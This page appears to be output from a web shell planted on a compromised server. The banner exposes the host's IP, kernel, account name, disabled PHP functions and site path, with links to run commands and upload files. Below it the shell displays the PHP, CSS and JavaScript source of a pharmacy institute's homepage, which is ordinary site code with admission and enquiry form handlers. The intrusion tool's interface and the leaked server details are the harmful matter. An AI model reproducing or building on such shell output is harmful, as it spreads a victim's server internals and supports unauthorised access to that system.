|
Server IP : 103.191.208.50 / Your IP : 216.73.216.53 Web Server : LiteSpeed System : Linux orion.herosite.pro 4.18.0-553.53.1.lve.el8.x86_64 #1 SMP Wed May 28 17:01:02 UTC 2025 x86_64 User : celkcksm ( 1031) PHP Version : 7.4.33 Disable Function : show_source, system, shell_exec, passthru, popen, exec MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON Directory (0750) : /home/celkcksm/skmpharma.in/ |
| [ Home ] | [ C0mmand ] | [ Upload File ] |
|---|
<?php
include_once('config/config.php');
// Get the current page from the URL
$page = basename($_SERVER['PHP_SELF'], ".php");
// Default to home if page not found in config
$title = isset($page_title[$page]) ? $page_title[$page] : $page_title["home"];
$keywords = isset($page_keywords[$page]) ? $page_keywords[$page] : $page_keywords["home"];
$description = isset($page_description[$page]) ? $page_description[$page] : $page_description["home"];
$schema = isset($page_schema[$page]) ? $page_schema[$page] : $page_schema["home"];
// Construct the canonical URL
$base_url = "https://skmpharma.in/";
// Check if it's the index page
if ($page == "index") {
$canonical_url = $base_url;
} else {
$canonical_url = $base_url . $page;
}
?>
<!DOCTYPE html>
<html lang="en">
<head>
<!-- <meta name="google-adsense-account" content="ca-pub-7720530971022796">
<meta name="google-adsense-account" content="ca-pub-5638268699630326"> -->
<meta charset="utf-8">
<meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no">
<title><?php echo htmlspecialchars($title); ?></title>
<meta name="description" content="<?php echo htmlspecialchars($description); ?>" />
<meta name="keywords" content="<?php echo htmlspecialchars($keywords); ?>" />
<link rel="canonical" href="<?php echo htmlspecialchars($canonical_url); ?>" />
<meta property="og:title" content="<?php echo htmlspecialchars($title); ?>" />
<meta property="og:site_name" content="SKM Institute of Pharmaceutical Science And Research" />
<meta property="og:description" content="<?php echo htmlspecialchars($description); ?>" />
<script type="application/ld+json"><?php echo $schema; ?></script>
<meta name="Author" content=" " />
<meta name="robots" content="INDEX, FOLLOW" />
<link rel="dns-prefetch" href="">
<meta property="og:locale" content="en_US" />
<meta property="og:type" content="Education" />
<meta name="dc.title"
content=""
content=" ">
<meta name="dc.keywords"
content=" ">
<meta name="dc.language" content="En">
<meta name="dc.source" content="">
<meta name="dc.subject" content="University, Education">
<meta name="dc.publisher" content="">
<link rel="shortcut icon" href="public/new-assets/img/fevicon.png" type="image/x-icon">
<link rel="stylesheet" href="public/new-assets/css/jquery.fancybox.min.css">
<link rel="stylesheet" href="public/new-assets/css/style.css">
<link rel="stylesheet" href="public/new-assets/css/style1.css">
<link rel="stylesheet" type="text/css" href="public/assets/css/gallery-style.css" />
<link rel="stylesheet" href="public/new-assets/css/timercss.css">
<link rel="apple-touch-icon" sizes="180x180" href="public/favicon_io/apple-touch-icon.png">
<link rel="icon" type="image/png" sizes="32x32" href="public/favicon_io/favicon-32x32.png">
<link rel="icon" type="image/png" sizes="16x16" href="public/favicon_io/favicon-16x16.png">
<link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.7.2/css/all.min.css"/>
<link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/toastr.js/latest/toastr.min.css">
<!-- <link rel="manifest" href="/site.webmanifest"> -->
<style>
.navbar .navbar-nav .nav-link {
color: #111;
}
.b-inner {
display: none !important;
}
.b-home {
display: block !important;
}
.heroSlider .owl-nav button {
bottom: auto;
top: 50%;
left: 15px;
transform: translateY(-50%);
opacity: 0;
}
.heroSlider .owl-nav button.owl-next {
left: auto;
right: 15px;
}
.heroSlider:hover .owl-nav button {
opacity: 1;
}
.notification {
position: fixed;
right: 27px;
bottom: 98px;
z-index: 12;
}
.bell-icon {
text-shadow: 0px 0px 20px #000;
position: relative;
top: -2px;
}
.bell-icon:hover {
cursor: pointer;
}
.bell-icon span {
width: 8px;
height: 8px;
position: absolute;
top: 0;
right: 0;
border-radius: 50%;
background: #f8a602;
}
.notifi-listing {
position: absolute;
right: 45px;
bottom: 3px;
width: 300px;
-webkit-transition: all .5s ease-in-out;
-moz-transition: all .5s ease-in-out;
transition: all .5s ease-in-out;
}
.notifi-listing.close-swipe {
transform: scale(0);
transform-origin: bottom right;
-webkit-transition: all .5s ease-in-out;
-moz-transition: all .5s ease-in-out;
transition: all .5s ease-in-out;
}
.notifi-listing ul {
margin-bottom: 0;
}
.notifi-listing ul li {
list-style-type: none;
display: block;
}
.notifi-listing ul li a {
background: rgba(255, 255, 255, .87);
border-radius: 20px 20px 0;
padding: 15px;
line-height: 16px;
display: block;
margin-bottom: 5px;
box-shadow: 7px 5px 10px rgba(0, 0, 0, .1);
position: relative;
}
.notifi-listing ul li:last-child a::after {
width: 0;
height: 0;
border-top: 15px solid transparent;
border-bottom: 0 solid transparent;
border-left: 15px solid rgba(255, 255, 255, .85);
content: "";
position: absolute;
right: -15px;
bottom: 0;
}
.noti-title {
font-size: 14px;
color: #111;
font-weight: 600;
margin-bottom: 3px;
}
.noti-para {
font-size: 12px;
color: #000;
margin-bottom: 5px;
line-height: 14px;
padding-right: 0;
}
.noti-para strong {
font-weight: 600;
font-size: 13px;
line-height: 13px;
margin: 3px 0;
display: block;
}
.noti-link {
font-size: 14px;
color: #d7b04e;
font-weight: 600;
margin-top: 10px;
display: inline-block;
border-radius: 50px;
border: 1px solid;
padding: 8px 10px;
transition: all .3s ease-in-out;
}
.notifi-listing:hover .noti-link {
background: #d7b04e;
color: #fff;
}
.cusat-logo {
position: absolute;
bottom: 15px;
right: 15px;
max-width: 70px;
display: none;
}
.b-home {
display: flex !important;
}
.objective-section {
padding-top: 50px;
padding-bottom: 90px;
}
@media only screen and (min-width: 1200px) {
.heroSlider__item img {
padding-top: 90px;
}
}
@media only screen and (min-width: 1400px) {
.heroSlider__item img {
padding-top: 96px;
}
}
@media only screen and (min-width: 768px) {
.objective-section {
margin-top: -24px;
}
.about-seciton .about-seciton__content-right {
margin-top: 0px;
}
}
@media only screen and (max-width: 1399px) {
.about-seciton {
margin-top: -90px;
}
}
@media only screen and (max-width: 767px) {
.notification {
bottom: 80px;
}
.notifi-listing {
transform: scale(1);
}
.notifi-listing.close-swipe {
transform: scale(0);
}
}
@media only screen and (max-width: 575px) {
.about-seciton {
margin-top: -50px;
}
.notification {
right: 6px;
}
.objective-section {
padding-top: 40px;
}
}
@media only screen and (max-width: 320px) {
.notification {
right: 24px;
}
}
.allNotification
{
display:block;
}
</style>
<style>
/* noc */
#Iframe-Master-CC-and-Rs {
/* max-width: 800px; */
height: 90%;
overflow:auto;
}
.responsive-wrapper {
position: relative;
height: 0;
}
.responsive-wrapper iframe {
position: absolute;
top: 0;
left: 0;
width: 100%;
height: 100%;
margin: 0;
padding: 0;
border: none;
}
.responsive-wrapper-wxh-572x612 {
padding-bottom: 85%;
}
.set-box-shadow {
-webkit-box-shadow: 4px 4px 14px #4f4f4f;
-moz-box-shadow: 4px 4px 14px #4f4f4f;
box-shadow: 4px 4px 14px #4f4f4f;
}
/*.set-padding {
padding: 40px;
} */
/* .set-margin {
margin: 30px;
} */
.center-block-horiz {
margin-left: auto !important;
margin-right: auto !important;
}
.noc{
margin-top: 20px;
margin-bottom:20px;
}
</style>
<!-- Google tag (gtag.js) -->
<script async src="https://www.googletagmanager.com/gtag/js?id=G-53HB8F1KN5"></script>
<script>
window.dataLayer = window.dataLayer || [];
function gtag(){dataLayer.push(arguments);}
gtag('js', new Date());
gtag('config', 'G-53HB8F1KN5');
</script>
</head>
<body>
<a id="button"></a>
<a class="whatsapp-contact-button" target="_blank" href="https://api.whatsapp.com/send?phone=<?php echo $contact_no?>">
<i class="fa-brands fa-whatsapp"></i>
<span class="whatsapp-button-text">Message me</span>
</a>
<style>
.whatsapp-contact-button {
text-decoration: none;
position: fixed;
padding: 10px 15px; /* Combined padding */
bottom: 70px;
right: 30px;
color: #fff;
background-color: #25D366;
border-radius: 25px 30px 5px 25px;
z-index: 100;
font-family: Arial;
font-size: 17px;
animation: whatsapp-animation 0.5s ease-in-out;
box-shadow: 1px 2px 5px 2px rgba(30, 30, 30, 0.3);
transition: all 0.3s ease-out;
display: flex; /* Use flexbox for alignment */
align-items: center; /* Vertically center icon and text */
}
.whatsapp-contact-button:hover {
background-color: #128C7E;
color: #fff;
}
.fa-whatsapp {
font-size: 20px;
margin-right: 5px; /* Space between icon and text */
}
.whatsapp-button-text {
/* Style the text if needed */
}
@keyframes whatsapp-animation {
from {
opacity: 0%;
}
to {
opacity: 100%;
}
}
@media screen and (max-width: 545px) {
.whatsapp-button-text {
display: none;
}
.whatsapp-contact-button {
bottom: 75px;
right: 18px;
width: auto;
padding: 12px;
border-radius: 30px;
}
.fa-whatsapp {
font-size: 22px;
margin: 0; /* Remove margin */
}
}
</style>
<div class="black-bg"></div>
<div class="heroBanner">
<link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/4.7.0/css/font-awesome.min.css">
<!-- Google Tag Manager (noscript) -->
<style>
body{
overflow-x: hidden;
}
</style>
<div class="black-bg"></div>
<div class="heroBanner">
<link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/4.7.0/css/font-awesome.min.css">
<script>
window.dataLayer = window.dataLayer || [];
function gtag(){dataLayer.push(arguments);}
gtag('js', new Date());
gtag('config', 'UA-153070464-1');
</script>
<script>
$(document).ready(function() {
var windowURL = window.location.href;
console.log(windowURL);
if (windowURL.indexOf('noheaderfooter') > -1) {
$('#header').css('display', 'none');
$('#footer').css('display', 'none');
}
});
</script>
<style>
/*.contact-transform-logos {
transform: translate(0, -100%);
}
.logo-flip {
height: 65px;
overflow: hidden;
}
.logo-flip img {
transition: all .3s ease-in-out;
}*/
.navbar.white .b-home {
display: flex !important;
}
/****.btn.btn-lg.cta-btn.mt-4.ms-xl-1.ms-xxl-2{display: none;} Temporary Hide ****/
.navbar .header-btn {
border-radius: 50px;
padding: 15px 40px;
margin-top: 4px;
}
.call-btn {
background-color: #4e6471;
font-size: 14px;
font-weight: 600;
letter-spacing: 1px;
color: #fff;
position: absolute;
top: 130px;
right: 0;
padding: 10px 20px;
border-radius: 50px 0 0 50px;
opacity: 0;
animation: slideIn 1s forwards 3s;
}
@keyframes slideIn {
0% {
transform: translateX(900px);
}
100% {
transform: translateX(0);
opacity: 1;
}
}
.call-btn:hover {
color: #111;
}
.helpline span {
font-size: 10px;
font-weight: 300;
margin-top: 9px;
line-height: 7px;
}
@media (max-width: 1199px) {
.call-btn {
position: relative;
top: 20px;
border-radius: 0;
}
.navbar .b-home {
display: flex!important;
}
.navbar .brand-logo {
border-right: 0;
}
}
</style>
<style>
.contact-form {
position: absolute;
top: 100px;
right: 100px;
width: 350px;
padding: 20px;
border-radius: 12px;
/* Glassmorphism styles */
background: rgba(255, 255, 255, 0.25); /* Semi-transparent white */
backdrop-filter: blur(10px); /* Creates the blurred glass effect */
-webkit-backdrop-filter: blur(10px); /* For Safari */
border: 1px solid rgba(255, 255, 255, 0.3); /* Light border to enhance the glass look */
box-shadow: 0 10px 10px rgba(0, 0, 0, 0.4); /* Add some depth */
z-index: 10;
}
.contact-form-header h2 {
font-size: 30px;
color: #393939;
margin: 0;
padding-bottom: 10px;
text-align: center;
font-weight: 600;
}
.contact-form-header h6 {
font-size: 16px;
color: #393939;
margin: 0;
padding-bottom: 10px;
text-align: center;
font-weight: 400;
}
.contact-form h5 {
font-size: 18px;
font-weight: bold;
margin-bottom: 15px;
text-align: center;
}
.contact-form .btn {
width: 100%;
}
.form-row {
display: flex;
gap: 15px;
}
.form-row .form-group {
flex: 1;
}
.contact-form .course-dropdown {
width: 100%;
padding: 12px;
font-size: 16px;
background: rgba(255, 255, 255, 0.8); /* Transparent background */
color: #393939; /* Text color */
border: 1px solid rgba(255, 255, 255, 0.8); /* Light border */
border-radius: 8px;
appearance: none; /* Remove default dropdown styling in some browsers */
-webkit-appearance: none; /* For Safari */
-moz-appearance: none; /* For Firefox */
cursor: pointer;
transition: background 0.3s ease-in-out, transform 0.2s ease-in-out;
}
.contact-form .course-dropdown:focus {
outline: none;
border: 1px solid rgba(255, 255, 255, 0.6);
background: rgba(255, 255, 255, 0.5); /* Lighter background on focus */
}
.contact-form .course-dropdown option {
background: rgba(255, 255, 255, 0.8); /* Background for dropdown options */
color: #393939;
}
/* Styles for large devices (desktops, 1200px and above) */
@media (min-width: 1200px) {
.contact-form {
top: 150px;
right: 100px;
width: 350px;
padding: 25px;
}
}
/* Styles for normal laptop resolutions (1366px to 1440px width) */
@media (min-width: 1366px) and (max-width: 1440px) {
.contact-form {
top: 120px;
right: 120px;
width: 350px; /* Slightly larger width */
padding: 22px;
}
}
/* Styles for medium devices (tablets and smaller desktops, screens between 768px and 1200px) */
@media (min-width: 768px) and (max-width: 1199px) {
.contact-form {
top: 120px; /* Adjust positioning for medium screens */
right: 50px;
width: 350px; /* Keep the default width */
padding: 20px;
}
}
/* Styles for small devices (phones and smaller tablets, screens below 768px) */
@media (max-width: 767px) {
.contact-form {
position: absolute;
width: 90%;
margin: 25px 20px;
padding: 15px;
border-radius: 10px;
}
.form-row {
flex-direction: column; /* Stack inputs vertically */
gap: 10px;
}
}
</style>
<style>
#gallery-section {
background-color: #f9f9f9;
}
.gallery-item {
overflow: hidden;
position: relative;
cursor: pointer;
}
.gallery-item img {
transition: transform 0.3s ease, opacity 0.3s ease;
}
.gallery-item:hover img {
transform: scale(1.1);
opacity: 0.9;
}
</style>
<style>
.notice-container {
width: 600px;
height: 300px;
border: 2px solid #d7b04e;
border-radius: 8px;
background-color: #fdf6e3;
border: 1px solid rgba(255, 255, 255, 0.3);
box-shadow: 0 10px 10px rgba(0, 0, 0, 0.4);
overflow: hidden;
position: relative; /* Make this the positioning context */
}
.notice-title {
text-align: center;
font-size: 24px;
font-weight: 600;
color: #d7b04e;
margin: 0;
padding: 10px 0;
background-color: #fdf6e3;
border-bottom: 1px solid rgba(0, 0, 0, 0.1);
position: absolute;
top: 0;
left: 0;
right: 0;
z-index: 10; /* Ensure the title stays above the scrolling content */
}
.notice-board {
position: absolute;
top: 50px; /* Offset to start below the title */
bottom: 0;
left: 0;
right: 0;
display: flex;
flex-direction: column;
animation: scroll-up 20s linear infinite;
}
.notice-board div {
padding: 10px;
border-bottom: 1px solid #ddd;
text-align: center;
font-size: 16px;
color: #333;
}
@keyframes scroll-up {
0% {
transform: translateY(0);
}
100% {
transform: translateY(-100%);
}
}
</style>
<style>
.form {
display: flex;
flex-direction: column;
gap: 10px;
/* max-width: 400px; */
background-color: #fff;
padding: 20px;
border-radius: 20px;
position: relative;
box-shadow: 0px 5px 10px rgba(0, 0, 0, 0.1);
}
.title {
font-size: 28px;
color: #d7b04e;
font-weight: 600;
letter-spacing: -1px;
position: relative;
display: flex;
align-items: center;
padding-left: 30px;
}
.title::before,.title::after {
position: absolute;
content: "";
height: 16px;
width: 16px;
border-radius: 50%;
left: 0px;
background-color: #d7b04e;
}
.title::before {
width: 18px;
height: 18px;
background-color: #d7b04e;
}
.title::after {
width: 18px;
height: 18px;
animation: pulse 1s linear infinite;
}
.message, .signin {
color: rgba(88, 87, 87, 0.822);
font-size: 14px;
}
.signin {
text-align: center;
}
.signin a {
color: #d7b04e;
}
.signin a:hover {
text-decoration: underline #d7b04e;
}
.flex {
display: flex;
width: 100%;
gap: 6px;
}
.form label {
position: relative;
}
.form label .input {
width: 100%;
padding: 10px 10px 20px 10px;
outline: 0;
border: 1px solid rgba(105, 105, 105, 0.397);
border-radius: 10px;
}
.form label .input + span {
position: absolute;
left: 10px;
top: 15px;
color: grey;
font-size: 0.9em;
cursor: text;
transition: 0.3s ease;
}
.form label .input:placeholder-shown + span {
top: 15px;
font-size: 0.9em;
}
.form label .input:focus + span,.form label .input:valid + span {
top: 0px;
font-size: 0.7em;
font-weight: 600;
}
.form label .input:valid + span {
color: green;
}
.submit {
border: none;
outline: none;
background-color: #d7b04e;
padding: 10px;
border-radius: 10px;
color: #fff;
font-size: 16px;
transform: .3s ease;
}
.submit:hover {
background-color: #b98e22;
cursor: pointer;
}
@keyframes pulse {
from {
transform: scale(0.9);
opacity: 1;
}
to {
transform: scale(1.8);
opacity: 0;
}
}
</style>
<?php
include_once('includes/common/header_menu.php');
include_once('includes/pages/pages.php');
include_once('includes/common/footer.php');
?>
<a id="button"></a>
<script src="https://ajax.googleapis.com/ajax/libs/jquery/3.5.1/jquery.min.js"></script>
<script src="public/assets/js/jquery-migrate-3.4.0.min.js"></script>
<script src="public/node_modules/bootstrap/dist/js/bootstrap.bundle.js"></script>
<script src="public/uikit/js/uikit.min.js"></script>
<script src="public/uikit/js/uikit-icons.min.js"></script>
<script type="text/javascript" src="public/new-assets/js/jquery.fancybox.min.js"></script>
<!-- <script type="text/javascript" src="public/assets/js/modernizr.custom.26633.js"></script> -->
<!-- <script type="text/javascript" src="public/assets/js/jquery.gridrotator.js"></script> -->
<script src="https://cdnjs.cloudflare.com/ajax/libs/aos/2.3.4/aos.js"></script>
<script src="https://cdnjs.cloudflare.com/ajax/libs/toastr.js/latest/toastr.min.js"></script>
<!-- jQuery Validation Plugin -->
<script src="https://cdnjs.cloudflare.com/ajax/libs/jquery-validate/1.21.0/jquery.validate.min.js" integrity="sha512-KFHXdr2oObHKI9w4Hv1XPKc898mE4kgYx58oqsc/JqqdLMDI4YjOLzom+EMlW8HFUd0QfjfAvxSL6sEq/a42fQ==" crossorigin="anonymous" referrerpolicy="no-referrer"></script>
<script src="https://cdnjs.cloudflare.com/ajax/libs/jquery-validate/1.21.0/additional-methods.min.js" integrity="sha512-owaCKNpctt4R4oShUTTraMPFKQWG9UdWTtG6GRzBjFV4VypcFi6+M3yc4Jk85s3ioQmkYWJbUl1b2b2r41RTjA==" crossorigin="anonymous" referrerpolicy="no-referrer"></script>
<script src="public/new-assets/js/owl.carousel.min.js"></script>
<script>
AOS.init({
duration: 1000, // Animation duration (in ms)
easing: 'ease-in-out', // Easing function
once: true, // Animation only occurs once
});
</script>
<style>
#button {
display: inline-block;
background-color: #d7b04e;
width: 40px;
height: 40px;
border-radius: 10px;
position: fixed;
bottom: 20px;
right: 20px;
opacity: 0;
visibility: hidden;
z-index: 1000;
background-image: url('./public/new-assets/img/top-arrow.svg');
background-repeat: no-repeat;
background-size: 25px;
background-position: center;
cursor: pointer;
}
#button.show {
opacity: 1;
visibility: visible;
}
</style>
<script>
(function () {
'use strict'
document.querySelector('#navbarSideCollapse').addEventListener('click', function () {
document.querySelector('.offcanvas-collapse').classList.toggle('open')
})
})()
$('.heroSlider').owlCarousel({
loop:true,
margin:0,
nav:true,
smartSpeed: 2000,
autoplay: true,
autoplayTimeout: 15000,
items:1,
navText: [ '<img src="public/new-assets/img/angle-left.svg" alt="best pharmacy colleges in west bengal">', '<img src="public/new-assets/img/angle-right.svg" alt="pharmacy undergraduate programs west bengal">' ],
});
$('.objective-section__slider').owlCarousel({
loop:true,
nav:true,
smartSpeed: 900,
autoplay: 5000,
items:3,
margin:20,
navText: [ '<img src="public/new-assets/img/angle-left.svg" alt="best pharmacy colleges in west bengal">', '<img src="public/new-assets/img/angle-right.svg" alt="pharmacy undergraduate programs west bengal">' ],
responsive : {
0 : {
items:1,
},
480 : {
items:1,
},
768 : {
items:2,
},
1200 : {
items:3,
},
}
});
$('.testimonial-carousel').owlCarousel({
animateOut: 'slideOutDown',
animateIn: 'zoomIn',
loop:true,
margin:0,
nav:true,
smartSpeed: 900,
autoplay: 7000,
items:1,
navText: [ '<img src="public/new-assets/img/angle-left.svg" alt="best pharmacy colleges in west bengal">', '<img src="public/new-assets/img/angle-right.svg" alt="pharmacy undergraduate programs west bengal">' ]
});
$('.education-section__slider').owlCarousel({
loop:false,
margin:0,
nav:false,
smartSpeed: 900,
autoplay: 7000,
items:1,
navText: [ '<img src="public/new-assets/img/angle-left.svg" alt="best pharmacy colleges in west bengal">', '<img src="public/new-assets/img/angle-right.svg" alt="pharmacy undergraduate programs west bengal">' ]
});
$('.luminaries-section__slider').owlCarousel({
loop:true,
margin:0,
nav:true,
smartSpeed: 900,
autoplay: 7000,
items:1,
navText: [ '<img src="public/new-assets/img/angle-left.svg" alt="best pharmacy colleges in west bengal">', '<img src="public/new-assets/img/angle-right.svg" alt="pharmacy undergraduate programs west bengal">' ]
});
$(document).ready(function() {
var previousScroll = 0;
$(window).scroll(function() {
var currentScroll = $(this).scrollTop();
if (currentScroll > 0 && currentScroll < $(document).height() - $(window).height()) {
if (currentScroll > previousScroll) {
window.setTimeout(hideNav, 100);
} else {
window.setTimeout(showNav, 100);
}
previousScroll = currentScroll;
}
});
function hideNav() {
$(".navbar").removeClass("is-visible").addClass("is-hidden");
}
function showNav() {
$(".navbar").removeClass("is-hidden").addClass("is-visible");
}
$(window).scroll(function() {
if($(this).scrollTop() > 100) {
$('.navbar').addClass('white');
} else {
$('.navbar').removeClass('white');
}
});
});
/* mega menu dropdown */
$(".dd-menu").hover(function() {
var isHovered = $(this).is(":hover");
if (isHovered) {
$(this).children(".megaMenu").stop().fadeIn(300);
$(".black-bg").fadeIn(100);
} else {
$(this).children(".megaMenu").stop().fadeOut(300);
$(".black-bg").fadeOut(100);
}
});
/* breadcrumb remove php extension */
$('.breadcrumb li a').text(function () {
return $(this).text().replace(/.php/g, '');
});
var btn = $('#button');
$(window).scroll(function() {
if ($(window).scrollTop() > 300) {
btn.addClass('show');
} else {
btn.removeClass('show');
}
});
btn.on('click', function(e) {
e.preventDefault();
$('html, body').animate({scrollTop:0}, '300');
});
/*setInterval(function(){
$(".logo-flip img").toggleClass("contact-transform-logos");
}, 4000); */
$('#ri-grid').gridrotator({
rows: 2,
columns: 6,
maxStep: 8,
interval: 2000,
w1024: {
rows: 2,
columns: 6
},
w768: {
rows: 4,
columns: 3
},
w480: {
rows: 5,
columns: 3
},
w414: {
rows: 4,
columns: 2
},
w240: {
rows: 7,
columns: 3
}
});
</script>
<script>
$(".bell-icon").click(function () {
$(".notifi-listing").toggleClass('close-swipe');
});
//document.getElementById("notificationmainid1").style.display = "block";
</script>
<!-- <script>
const marquee = document.querySelector('.marquee-notices');
marquee.addEventListener('mouseover', function() {
this.stop(); // Stop the marquee
});
marquee.addEventListener('mouseout', function() {
this.start(); // Restart the marquee
});
</script> -->
<script>
const playPauseButton = document.getElementById('playPauseButton');
const video = document.getElementById('video');
const playIcon = document.getElementById('playIcon');
const pauseIcon = document.getElementById('pauseIcon');
// Toggle play/pause when the button is clicked
playPauseButton.addEventListener('click', () => {
if (video.paused) {
video.play();
playIcon.style.display = 'none';
pauseIcon.style.display = 'inline';
} else {
video.pause();
playIcon.style.display = 'inline';
pauseIcon.style.display = 'none';
}
});
// Ensure icons update correctly when the video ends (though it loops here)
video.addEventListener('play', () => {
playIcon.style.display = 'none';
pauseIcon.style.display = 'inline';
});
video.addEventListener('pause', () => {
playIcon.style.display = 'inline';
pauseIcon.style.display = 'none';
});
</script>
<script>
// Duplicate notices for smooth looping
const noticeBoard = document.querySelector('.notice-board');
const notices = noticeBoard.innerHTML;
noticeBoard.innerHTML += notices;
</script>
<script>
$(document).ready(function () {
// Configure Toastr (Optional Custom Styling)
toastr.options = {
closeButton: true,
progressBar: true,
positionClass: "toast-top-right",
showDuration: "300",
hideDuration: "1000",
timeOut: "5000",
extendedTimeOut: "1000",
showEasing: "swing",
hideEasing: "linear",
showMethod: "fadeIn",
hideMethod: "fadeOut"
};
// Admission Form Submission
$("#admissionForm").validate({
rules: {
name: { required: true, minlength: 2 },
email: { required: true, email: true },
phone: { required: true, minlength: 10, maxlength: 15 },
course: { required: true },
// address: { required: true, minlength: 10 },
},
messages: {
name: "Please enter your name (at least 2 characters).",
email: "Please enter a valid email address.",
phone: "Please enter a valid phone number (10-15 digits).",
course: "Please select a course.",
// address: "Please enter your address (at least 10 characters)."
},
submitHandler: function (form) {
event.preventDefault();
var formData = new FormData($(form)[0]);
formData.append('mail_type', 'admission_form');
$.ajax({
type: 'POST',
url: 'mail.php',
dataType: 'json',
data: formData,
processData: false,
contentType: false,
beforeSend: function () {
$('.send1').prop('disabled', true).text('Sending...');
},
success: function (response) {
if (response.status) {
toastr.success(response.message, "Success!");
$("#admissionForm")[0].reset();
} else {
toastr.error(response.message, "Error!");
}
},
error: function () {
toastr.error("An error occurred while submitting the form. Please try again.", "Error!");
},
complete: function () {
$('.send1').prop('disabled', false).text('Send Message');
},
});
},
});
// Enquiry Form Submission
$("#enquiryForm").validate({
rules: {
name: { required: true, minlength: 2 },
phone: { required: true, minlength: 10, maxlength: 15 },
email: { required: true, email: true },
course: { required: true },
dob: { required: true, date: true },
gender: { required: true },
qualification: { required: true },
// address: { required: true, minlength: 10 },
},
messages: {
name: "Please enter your name (at least 2 characters).",
phone: "Please enter a valid phone number (10-15 digits).",
email: "Please enter a valid email address.",
course: "Please select a course.",
dob: "Please enter a valid date of birth.",
gender: "Please select your gender.",
qualification: "Please enter your qualification.",
// address: "Please enter your address (at least 10 characters).",
},
submitHandler: function (form) {
event.preventDefault();
var formData = new FormData($(form)[0]);
formData.append('mail_type', 'enquiry_form');
$.ajax({
type: 'POST',
url: 'mail.php',
dataType: 'json',
data: formData,
processData: false,
contentType: false,
beforeSend: function () {
$('.send').prop('disabled', true).text('Sending...');
},
success: function (response) {
if (response.status) {
toastr.success(response.message, "Success!");
$("#enquiryForm")[0].reset();
} else {
toastr.error(response.message, "Error!");
}
},
error: function () {
toastr.error("An error occurred while submitting the form. Please try again.", "Error!");
},
complete: function () {
$('.send').prop('disabled', false).text('Submit');
},
});
},
});
});
</script>
<script>
function checkFormCompletion() {
const name = document.getElementById('name').value.trim();
const phone = document.getElementById('phone').value.trim();
const email = document.getElementById('email').value.trim();
const course = document.getElementById('course').value;
const dob = document.getElementById('dob').value.trim();
const gender = document.getElementById('gender').value;
const qualification = document.getElementById('qualification').value.trim();
// const address = document.getElementById('address').value.trim();
const captchaResponse = grecaptcha.getResponse();
const submitButton = document.getElementById('submit-button');
if (name && phone && email && course && dob && gender && qualification && address && captchaResponse.length > 0) {
submitButton.disabled = false;
} else {
submitButton.disabled = true;
}
}
function enableSubmitButton() {
checkFormCompletion();
}
document.getElementById('enquiryForm').addEventListener('input', checkFormCompletion);
document.getElementById('enquiryForm').addEventListener('submit', function(event) {
if (document.getElementById('submit-button').disabled) {
event.preventDefault(); // Prevent form submission if CAPTCHA is not verified
} else {
grecaptcha.reset();
document.getElementById('submit-button').disabled = true;
}
});
</script>
<script src="https://www.google.com/recaptcha/api.js" async defer></script>
</body>
</html>